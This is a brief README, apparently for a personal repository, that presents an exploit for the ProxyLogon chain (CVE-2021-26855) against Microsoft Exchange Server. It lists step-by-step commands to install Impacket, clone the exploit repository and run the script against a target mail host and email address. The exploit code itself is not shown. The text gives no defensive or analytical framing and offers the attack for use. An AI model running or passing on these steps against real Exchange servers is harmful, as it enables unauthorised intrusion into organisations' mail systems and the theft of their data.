my exploit for the proxylogon chain (Microsoft Exchange Server - CVE-2021-26855)
the exploit uses Impacket package, to install it run this:
user@host:~$ python3 -m pip install impacket
then clone the exploit repo, and enter the exploit directory:
user@host:~$ git clone https://github.com/hakivvi/proxylogon.git && cd proxylogon
run the exploit:
user@host:~$ python3 proxylogon.py http://mail.corp.com email@corp.com